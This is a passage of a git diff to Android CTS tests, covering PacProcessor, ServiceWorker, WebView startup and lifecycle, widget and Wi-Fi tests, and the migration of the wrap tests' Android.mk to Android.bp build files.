-            Assert.assertFalse("createPacProcessor must return different objects", pacProcessor == otherPacProcessor);
+            Assert.assertFalse(
+                    "createPacProcessor must return different objects",
+                    pacProcessor == otherPacProcessor);
 
             pacProcessor.setProxyScript(
-                    "function FindProxyForURL(url, host) {" +
-                            "return \"PROXY 1.2.3.4:8080\";" +
-                            "}"
-            );
+                    "function FindProxyForURL(url, host) {"
+                            + "return \"PROXY 1.2.3.4:8080\";"
+                            + "}");
             otherPacProcessor.setProxyScript(
-                    "function FindProxyForURL(url, host) {" +
-                            "return \"PROXY 5.6.7.8:8080\";" +
-                            "}"
-            );
+                    "function FindProxyForURL(url, host) {"
+                            + "return \"PROXY 5.6.7.8:8080\";"
+                            + "}");
 
             Assert.assertEquals("PROXY 1.2.3.4:8080", pacProcessor.findProxyForUrl("test.url"));
-            Assert.assertEquals("PROXY 5.6.7.8:8080", otherPacProcessor.findProxyForUrl("test.url"));
+            Assert.assertEquals(
+                    "PROXY 5.6.7.8:8080", otherPacProcessor.findProxyForUrl("test.url"));
 
             pacProcessor.release();
             otherPacProcessor.release();
@@ -74,7 +73,7 @@
      */
     @Test
     public void testCreatePacProcessor() throws Throwable {
-        mProcess.run(TestCreatePacProcessor.class, REMOTE_TIMEOUT_MS);
+        mProcess.run(TestCreatePacProcessor.class);
     }
 
     static class TestDefaultNetworkIsNull extends TestProcessClient.TestRunnable {
@@ -92,7 +91,7 @@
      */
     @Test
     public void testDefaultNetworkIsNull() throws Throwable {
-        mProcess.run(TestDefaultNetworkIsNull.class, REMOTE_TIMEOUT_MS);
+        mProcess.run(TestDefaultNetworkIsNull.class);
     }
 
     static class TestSetNetwork extends TestProcessClient.TestRunnable {
@@ -101,14 +100,17 @@
             ConnectivityManager connectivityManager =
                     ctx.getSystemService(ConnectivityManager.class);
             Network[] networks = connectivityManager.getAllNetworks();
-            Assert.assertTrue("testSetNetwork requires at least one available Network", networks.length > 0);
+            Assert.assertTrue(
+                    "testSetNetwork requires at least one available Network", networks.length > 0);
 
             PacProcessor pacProcessor = PacProcessor.createInstance();
             PacProcessor otherPacProcessor = PacProcessor.createInstance();
 
             pacProcessor.setNetwork(networks[0]);
             Assert.assertEquals("Network is not set", networks[0], pacProcessor.getNetwork());
-            Assert.assertNull("setNetwork must not affect other PacProcessors", otherPacProcessor.getNetwork());
+            Assert.assertNull(
+                    "setNetwork must not affect other PacProcessors",
+                    otherPacProcessor.getNetwork());
 
             pacProcessor.setNetwork(null);
             Assert.assertNull("Network is not unset", pacProcessor.getNetwork());
@@ -117,11 +119,12 @@
             otherPacProcessor.release();
         }
     }
+
     /**
      * Test that setNetwork correctly set Network to PacProcessor.
      */
     @Test
     public void testSetNetwork() throws Throwable {
-        mProcess.run(TestSetNetwork.class, REMOTE_TIMEOUT_MS);
+        mProcess.run(TestSetNetwork.class);
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java b/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java
index 2b9e8e5..f1eb73d 100644
--- a/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerClientTest.java
@@ -141,6 +141,7 @@
     protected void tearDown() throws Exception {
         if (mOnUiThread != null) {
             mOnUiThread.cleanUp();
+            ServiceWorkerController.getInstance().setServiceWorkerClient(null);
         }
         super.tearDown();
     }
@@ -199,6 +200,28 @@
                 unregisterSuccess);
     }
 
+    /**
+     * This should remain functionally equivalent to
+     * androidx.webkit.ServiceWorkerClientCompatTest#testSetNullServiceWorkerClient.
+     * Modifications to this test should be reflected in that test as necessary. See
+     * http://go/modifying-webview-cts.
+     */
+    // Test setting a null ServiceWorkerClient.
+    public void testSetNullServiceWorkerClient() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        ServiceWorkerController swController = ServiceWorkerController.getInstance();
+        swController.setServiceWorkerClient(null);
+        mOnUiThread.loadUrlAndWaitForCompletion(INDEX_URL);
+
+        Callable<Boolean> registrationFailure =
+                () -> !mJavascriptStatusReceiver.mRegistrationSuccess;
+        PollingCheck.check("JS unexpectedly registered the Service Worker", POLLING_TIMEOUT,
+                registrationFailure);
+    }
+
     // Object added to the page via AddJavascriptInterface() that is used by the test Javascript to
     // notify back to Java if the Service Worker registration was successful.
     public final static class JavascriptStatusReceiver {
diff --git a/tests/tests/webkit/src/android/webkit/cts/TestProcessClient.java b/tests/tests/webkit/src/android/webkit/cts/TestProcessClient.java
index 1854641a..ba6ae47 100644
--- a/tests/tests/webkit/src/android/webkit/cts/TestProcessClient.java
+++ b/tests/tests/webkit/src/android/webkit/cts/TestProcessClient.java
@@ -16,7 +16,6 @@
 
 package android.webkit.cts;
 
-
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -30,12 +29,16 @@
 
 import com.android.internal.annotations.GuardedBy;
 
+import com.google.common.util.concurrent.SettableFuture;
+
 import junit.framework.Assert;
 import junit.framework.AssertionFailedError;
 
 class TestProcessClient extends Assert implements AutoCloseable, ServiceConnection {
     private Context mContext;
 
+    static final long REMOTE_TIMEOUT_MS = 5000;
+
     private static final long CONNECT_TIMEOUT_MS = 5000;
 
     private Object mLock = new Object();
@@ -60,7 +63,34 @@
      * Subclass this to implement test code to run on the service side.
      */
     static abstract class TestRunnable extends Assert {
-        public abstract void run(Context ctx);
+        public abstract void run(Context ctx) throws Throwable;
+    }
+
+    /**
+     * Subclass this to implement test code that runs on the main looper on the service side.
+     */
+    static abstract class UiThreadTestRunnable extends TestRunnable {
+        // A handler for the main thread.
+        private static final Handler sMainThreadHandler = new Handler(Looper.getMainLooper());
+
+        @Override
+        final public void run(Context ctx) throws Throwable {
+            final SettableFuture<Void> exceptionPropagatingFuture = SettableFuture.create();
+            sMainThreadHandler.post(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        runOnUiThread(ctx);
+                        exceptionPropagatingFuture.set(null);
+                    } catch (Throwable t) {
+                        exceptionPropagatingFuture.setException(t);
+                    }
+                }
+            });
+            WebkitUtils.waitForFuture(exceptionPropagatingFuture);
+        }
+
+        protected abstract void runOnUiThread(Context ctx) throws Throwable;
     }
 
     static class ProcessFreshChecker extends TestRunnable {
@@ -98,6 +128,10 @@
         run(ProcessFreshChecker.class, 1000);
     }
 
+    public void run(Class runnableClass) throws Throwable {
+        run(runnableClass, REMOTE_TIMEOUT_MS);
+    }
+
     public void run(Class runnableClass, long timeoutMs) throws Throwable {
         Message m = Message.obtain(null, TestProcessService.MSG_RUN_TEST);
         m.replyTo = mReplyHandler;
diff --git a/tests/tests/webkit/src/android/webkit/cts/TestProcessService.java b/tests/tests/webkit/src/android/webkit/cts/TestProcessService.java
index 6ce8c4c..499d18c 100644
--- a/tests/tests/webkit/src/android/webkit/cts/TestProcessService.java
+++ b/tests/tests/webkit/src/android/webkit/cts/TestProcessService.java
@@ -16,16 +16,16 @@
 
 package android.webkit.cts;
 
-
 import android.app.Service;
 import android.content.Context;
 import android.content.Intent;
 import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.IBinder;
+import android.os.Looper;
 import android.os.Message;
 import android.os.Messenger;
 import android.os.RemoteException;
-import android.util.Log;
 
 import junit.framework.Assert;
 import junit.framework.AssertionFailedError;
@@ -45,9 +45,19 @@
         return mMessenger.getBinder();
     }
 
-    final Messenger mMessenger = new Messenger(new IncomingHandler());
+    final Messenger mMessenger;
+
+    public TestProcessService() {
+        HandlerThread backgroundThread = new HandlerThread("TestThread");
+        backgroundThread.start();
+        mMessenger = new Messenger(new IncomingHandler(backgroundThread.getLooper()));
+    }
 
     private class IncomingHandler extends Handler {
+        IncomingHandler(Looper looper) {
+            super(looper);
+        }
+
         @Override
         public void handleMessage(Message msg) {
             if (msg.what == MSG_EXIT_PROCESS) {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 8b04c2d..e658152 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -26,6 +26,7 @@
 import android.view.ViewGroup;
 import android.view.ViewParent;
 import android.webkit.ConsoleMessage;
+import android.view.ViewParent;
 import android.webkit.JsPromptResult;
 import android.webkit.JsResult;
 import android.webkit.WebIconDatabase;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewDataDirTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewDataDirTest.java
index 0dec6810..8e12c7a 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewDataDirTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewDataDirTest.java
@@ -16,7 +16,6 @@
 
 package android.webkit.cts;
 
-
 import android.content.Context;
 import android.test.ActivityInstrumentationTestCase2;
 import android.webkit.CookieManager;
@@ -26,7 +25,6 @@
 
 public class WebViewDataDirTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
 
-    private static final long REMOTE_TIMEOUT_MS = 5000;
     private static final String ALTERNATE_DIR_NAME = "test";
     private static final String COOKIE_URL = "https://www.webviewdatadirtest.com/";
     private static final String COOKIE_VALUE = "foo=main";
@@ -53,7 +51,7 @@
         }
 
         try (TestProcessClient process = TestProcessClient.createProcessA(getActivity())) {
-            process.run(TestDisableThenUseImpl.class, REMOTE_TIMEOUT_MS);
+            process.run(TestDisableThenUseImpl.class);
         }
     }
 
@@ -97,7 +95,7 @@
         }
 
         try (TestProcessClient process = TestProcessClient.createProcessA(getActivity())) {
-            process.run(TestInvalidDirImpl.class, REMOTE_TIMEOUT_MS);
+            process.run(TestInvalidDirImpl.class);
         }
     }
 
@@ -119,7 +117,7 @@
         assertNotNull(getActivity().getWebView());
 
         try (TestProcessClient processA = TestProcessClient.createProcessA(getActivity())) {
-            processA.run(TestDefaultDirDisallowed.class, REMOTE_TIMEOUT_MS);
+            processA.run(TestDefaultDirDisallowed.class);
         }
     }
 
@@ -145,7 +143,7 @@
         assertEquals("wrong cookie in default cookie jar", COOKIE_VALUE, cookie);
 
         try (TestProcessClient processA = TestProcessClient.createProcessA(getActivity())) {
-            processA.run(TestCookieInAlternateDir.class, REMOTE_TIMEOUT_MS);
+            processA.run(TestCookieInAlternateDir.class);
         }
     }
 }
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewStartupTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewStartupTest.java
new file mode 100644
index 0000000..7ca217b
--- /dev/null
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewStartupTest.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.webkit.cts;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.test.InstrumentationTestCase;
+import android.webkit.WebView;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.NullWebViewUtils;
+
+import com.google.common.util.concurrent.SettableFuture;
+
+/**
+ * Test class testing different aspects of WebView loading.
+ *
+ * <p>Each test method in this class has to run in a freshly created process to ensure we don't run
+ * the tests in the same process (since we can only load WebView into a process once - after that we
+ * will reuse the same webview provider).
+ *
+ * <p>Tests in this class are moved from {@link com.android.cts.webkit.WebViewHostSideStartupTest},
+ * see http://b/72376996 for the migration of these tests.
+ */
+public class WebViewStartupTest extends InstrumentationTestCase {
+    private static final String TEST_PROCESS_DATA_DIR_SUFFIX = "WebViewStartupTestDir";
+    private static final long TEST_TIMEOUT_MS = 3000;
+
+    private static void runCurrentWebViewPackageTest(Context ctx, boolean alreadyOnMainThread)
+            throws Throwable {
+        // Have to set data dir suffix because this runs in a new process, and WebView might
+        // already be used in other processes.
+        WebView.setDataDirectorySuffix(TEST_PROCESS_DATA_DIR_SUFFIX);
+
+        PackageManager pm = ctx.getPackageManager();
+        if (pm.hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+            PackageInfo webViewPackage = WebView.getCurrentWebViewPackage();
+            // Ensure that getCurrentWebViewPackage returns a package recognized by the package
+            // manager.
+            assertPackageEquals(pm.getPackageInfo(webViewPackage.packageName, 0), webViewPackage);
+
+            // Create WebView on the app's main thread
+            if (alreadyOnMainThread) {
+                WebView webView = new WebView(ctx);
+                webView.destroy();
+            } else {
+                WebkitUtils.onMainThreadSync(() -> {
+                  WebView webView = new WebView(ctx);
+                  webView.destroy();
+                });
+            }
+
+            // Ensure we are still using the same WebView package.
+            assertPackageEquals(webViewPackage, WebView.getCurrentWebViewPackage());
+        } else {
+            // if WebView isn't supported the API should return null.
+            assertNull(WebView.getCurrentWebViewPackage());
+        }
+    }
+
+    private static void assertPackageEquals(PackageInfo expected, PackageInfo actual) {
+        if (expected == null)
+            assertNull(actual);
+        assertEquals(expected.packageName, actual.packageName);
+        assertEquals(expected.versionCode, actual.versionCode);
+        assertEquals(expected.versionName, actual.versionName);
+        assertEquals(expected.lastUpdateTime, actual.lastUpdateTime);
+    }
+
+    static class TestGetCurrentWebViewPackageOnUiThread
+            extends TestProcessClient.UiThreadTestRunnable {
+        @Override
+        protected void runOnUiThread(Context ctx) throws Throwable {
+            runCurrentWebViewPackageTest(ctx, true /* alreadyOnMainThread */);
+        }
+    }
+
+    public void testGetCurrentWebViewPackageOnUiThread() throws Throwable {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        try (TestProcessClient process = TestProcessClient.createProcessA(context)) {
+            process.run(TestGetCurrentWebViewPackageOnUiThread.class);
+        }
+    }
+
+    static class TestGetCurrentWebViewPackageOnBackgroundThread
+            extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) throws Throwable {
+            runCurrentWebViewPackageTest(ctx, false /* alreadyOnMainThread */);
+        }
+    }
+
+    public void testGetCurrentWebViewPackageOnBackgroundThread() throws Throwable {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        try (TestProcessClient process = TestProcessClient.createProcessA(context)) {
+            process.run(TestGetCurrentWebViewPackageOnBackgroundThread.class);
+        }
+    }
+
+    static class TestGetWebViewLooperOnUiThread extends TestProcessClient.UiThreadTestRunnable {
+        @Override
+        protected void runOnUiThread(Context ctx) {
+            // Have to set data dir suffix because this runs in a new process, and WebView might
+            // already be used in other processes.
+            WebView.setDataDirectorySuffix(TEST_PROCESS_DATA_DIR_SUFFIX);
+
+            WebView webView = createAndCheckWebViewLooper(ctx);
+            webView.destroy();
+        }
+    }
+
+    public void testGetWebViewLooperOnUiThread() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        try (TestProcessClient process = TestProcessClient.createProcessA(context)) {
+            process.run(TestGetWebViewLooperOnUiThread.class);
+        }
+    }
+
+    static class TestGetWebViewLooperCreatedOnUiThreadFromInstrThread
+            extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) {
+            // Have to set data dir suffix because this runs in a new process, and WebView might
+            // already be used in other processes.
+            WebView.setDataDirectorySuffix(TEST_PROCESS_DATA_DIR_SUFFIX);
+
+            // Create the WebView on the UI thread and then ensure webview.getWebViewLooper()
+            // returns the UI thread.
+            WebView webView =
+                    WebkitUtils.onMainThreadSync(() -> createAndCheckWebViewLooper(ctx));
+            assertEquals(Looper.getMainLooper(), webView.getWebViewLooper());
+            WebkitUtils.onMainThreadSync(() -> webView.destroy());
+        }
+    }
+
+    /**
+     * Ensure that a WebView created on the UI thread returns that thread as its creator thread.
+     * This ensures WebView.getWebViewLooper() is not implemented as 'return Looper.myLooper();'.
+     */
+    public void testGetWebViewLooperCreatedOnUiThreadFromInstrThread() throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        try (TestProcessClient process = TestProcessClient.createProcessA(context)) {
+            process.run(TestGetWebViewLooperCreatedOnUiThreadFromInstrThread.class);
+        }
+    }
+
+    static class TestGetWebViewLooperCreatedOnBackgroundThreadFromInstThread
+            extends TestProcessClient.TestRunnable {
+        @Override
+        public void run(Context ctx) throws InterruptedException {
+            // Have to set data dir suffix because this runs in a new process, and WebView might
+            // already be used in other processes.
+            WebView.setDataDirectorySuffix(TEST_PROCESS_DATA_DIR_SUFFIX);
+
+            // Use a HandlerThread, because such a thread owns a Looper.
+            HandlerThread backgroundThread = new HandlerThread("WebViewLooperCtsHandlerThread");
+            backgroundThread.start();
+            Handler backgroundHandler = new Handler(backgroundThread.getLooper());
+
+            final SettableFuture<WebView> webViewFuture = SettableFuture.create();
+            backgroundHandler.post(() -> {
+                try {
+                    webViewFuture.set(createAndCheckWebViewLooper(ctx));
+                } catch (RuntimeException e) {
+                    webViewFuture.setException(e);
+                }
+            });
+            final WebView webview = WebkitUtils.waitForFuture(webViewFuture);
+            assertEquals(backgroundThread.getLooper(), webview.getWebViewLooper());
+            backgroundHandler.post(() -> { webview.destroy(); });
+        }
+    }
+
+    /**
+     * Ensure that a WebView created on a background thread returns that thread as its creator
+     * thread. This ensures WebView.getWebViewLooper() is not bound to the UI thread regardless of
+     * the thread it is created on..
+     */
+    public void testGetWebViewLooperCreatedOnBackgroundThreadFromInstThread()
+            throws Throwable {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        try (TestProcessClient process = TestProcessClient.createProcessA(context)) {
+            process.run(TestGetWebViewLooperCreatedOnBackgroundThreadFromInstThread.class);
+        }
+    }
+
+    private static WebView createAndCheckWebViewLooper(Context context) {
+        // Ensure we are running this on a thread with a Looper - otherwise there's no point.
+        assertNotNull(Looper.myLooper());
+        WebView webview = new WebView(context);
+        assertEquals(Looper.myLooper(), webview.getWebViewLooper());
+        return webview;
+    }
+}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 3069e6a..e5a0041 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -223,9 +223,12 @@
             return;
         }
 
-        new WebView(getActivity());
-        new WebView(getActivity(), null);
-        new WebView(getActivity(), null, 0);
+        WebView webView = new WebView(getActivity());
+        webView.destroy();
+        webView = new WebView(getActivity(), null);
+        webView.destroy();
+        webView = new WebView(getActivity(), null, 0);
+        webView.destroy();
     }
 
     @UiThreadTest
@@ -237,12 +240,9 @@
         Context deviceEncryptedContext = getActivity().createDeviceProtectedStorageContext();
         try {
             new WebView(deviceEncryptedContext);
-        } catch (IllegalArgumentException e) {
-            return;
-        }
-
-        fail("WebView should have thrown exception when creating with a device " +
+            fail("WebView should have thrown exception when creating with a device " +
                 "protected storage context");
+        } catch (IllegalArgumentException e) {}
     }
 
     @UiThreadTest
@@ -256,16 +256,14 @@
         Context deviceEncryptedContext = getActivity().createDeviceProtectedStorageContext();
 
         // No exception should be thrown with credential encryption context.
-        new WebView(credentialEncryptedContext);
+        WebView webView = new WebView(credentialEncryptedContext);
+        webView.destroy();
 
         try {
             new WebView(deviceEncryptedContext);
-        } catch (IllegalArgumentException e) {
-            return;
-        }
-
-        fail("WebView should have thrown exception when creating with a device " +
+            fail("WebView should have thrown exception when creating with a device " +
                 "protected storage context");
+        } catch (IllegalArgumentException e) {}
     }
 
     @UiThreadTest
@@ -273,8 +271,9 @@
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
-        new WebView(getActivity());
+        WebView webView = new WebView(getActivity());
         assertNotNull(CookieSyncManager.getInstance());
+        webView.destroy();
     }
 
     // Static methods should be safe to call on non-UI threads
@@ -2065,6 +2064,8 @@
         assertEquals(url1, copyListAfterRestore.getItemAtIndex(0).getUrl());
         assertEquals(url2, copyListAfterRestore.getItemAtIndex(1).getUrl());
         assertEquals(url3, copyListAfterRestore.getItemAtIndex(2).getUrl());
+
+        newWebView.destroy();
     }
 
     public void testRequestChildRectangleOnScreen() throws Throwable {
@@ -2493,7 +2494,7 @@
             public void onSafeBrowsingHit(WebView view, WebResourceRequest request, int threatType,
                     SafeBrowsingResponse callback) {
                 pageFinishedFuture.setException(new IllegalStateException(
-                        "Should not invoke onSafeBrowsingHit"));
+                        "Should not invoke onSafeBrowsingHit for " + request.getUrl()));
             }
         });
 
@@ -2525,6 +2526,7 @@
         assertNotSame(client, client2);
         webView.setWebViewClient(client2);
         assertSame(client2, webView.getWebViewClient());
+        webView.destroy();
     }
 
     /**
@@ -2548,6 +2550,7 @@
         assertNotSame(client, client2);
         webView.setWebChromeClient(client2);
         assertSame(client2, webView.getWebChromeClient());
+        webView.destroy();
     }
 
     @UiThreadTest
@@ -2580,6 +2583,7 @@
         WebView webView = new WebView(getActivity());
         webView.setTextClassifier(classifier);
         assertSame(webView.getTextClassifier(), classifier);
+        webView.destroy();
     }
 
     private static class MockContext extends ContextWrapper {
diff --git a/tests/tests/widget/Android.bp b/tests/tests/widget/Android.bp
index 414dd0f..f77b476 100644
--- a/tests/tests/widget/Android.bp
+++ b/tests/tests/widget/Android.bp
@@ -48,5 +48,10 @@
         "cts",
         "general-tests",
     ],
+    data: [
+        ":TestIme",
+        ":CtsWidgetApp",
+    ],
+    per_testcase_directory: true,
 
 }
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
index 0264665..ef3e4cd 100644
--- a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -48,6 +48,7 @@
 
 import androidx.test.annotation.UiThreadTest;
 import androidx.test.filters.SmallTest;
+import androidx.test.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -725,6 +726,7 @@
 
     @Test
     public void testSourcePosition_respectsMaxInSurfaceBounds_forSurfaceView() throws Throwable {
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
         WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, () -> {
             mActivity.setContentView(R.layout.magnifier_activity_centered_surfaceview_layout);
         }, false /* forceLayout */);
diff --git a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
old mode 100644
new mode 100755
index c07d6f3..02cc7e6
--- a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
@@ -448,7 +448,7 @@
         // Dismiss the popup with the emulated back key
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
         // Verify that we're not showing the popup
-        PollingCheck.waitFor(() -> !mSpinnerDropdownMode.isPopupShowing());
+        PollingCheck.waitFor(() -> !mSpinnerDialogMode.isPopupShowing());
 
         // Set yellow background on the popup
         mActivityRule.runOnUiThread(() ->
@@ -456,7 +456,9 @@
                         mActivity.getDrawable(R.drawable.yellow_fill)));
 
         // Use instrumentation to emulate a tap on the spinner to bring down its popup
-        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, null, mSpinnerDialogMode);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSpinnerDialogMode, () -> {
+            mSpinnerDialogMode.performClick();
+        });
         // Verify that we're showing the popup
         PollingCheck.waitFor(() -> mSpinnerDialogMode.isPopupShowing());
         // And test that getPopupBackground returns null
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 600a545..65bee68 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -294,7 +294,11 @@
 
         // Disconnect & disable auto-join on the saved network to prevent auto-connect from
         // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.allowAutojoinGlobal(false));
         disableAllSavedNetworks(mWifiManager);
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.allowAutojoinGlobal(true));
 
         // Wait for Wifi to be disconnected.
         PollingCheck.check(
diff --git a/tests/tests/wrap/Android.bp b/tests/tests/wrap/Android.bp
new file mode 100644
index 0000000..a94a5db0
--- /dev/null
+++ b/tests/tests/wrap/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "cts_tests_tests_wrap_src",
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
+
+filegroup {
+    name: "wrap.sh",
+    srcs: [
+        "wrap.sh",
+    ],
+    path: ".",
+}
diff --git a/tests/tests/wrap/nowrap/Android.bp b/tests/tests/wrap/nowrap/Android.bp
new file mode 100644
index 0000000..9d33b37
--- /dev/null
+++ b/tests/tests/wrap/nowrap/Android.bp
@@ -0,0 +1,48 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsWrapNoWrapTestCases",
+    compile_multilib: "both",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        // this is for the src files
+        "cts_tests_tests_wrap_src",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    manifest: "AndroidManifest.xml",
+    // Jarjar to make WrapTest unique.
+    jarjar_rules: "jarjar-rules.txt",
+    use_embedded_native_libs: false,
+}
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
deleted file mode 100644
index 269f4ad..0000000
--- a/tests/tests/wrap/nowrap/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util-axt \
-	androidx.test.rules
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsWrapNoWrapTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MANIFEST_FILE := AndroidManifest.xml
-
-# Jarjar to make WrapTest unique.
-LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_PACKAGE)
diff --git a/tests/tests/wrap/wrap_debug/Android.bp b/tests/tests/wrap/wrap_debug/Android.bp
new file mode 100644
index 0000000..5f50d5e
--- /dev/null
+++ b/tests/tests/wrap/wrap_debug/Android.bp
@@ -0,0 +1,66 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
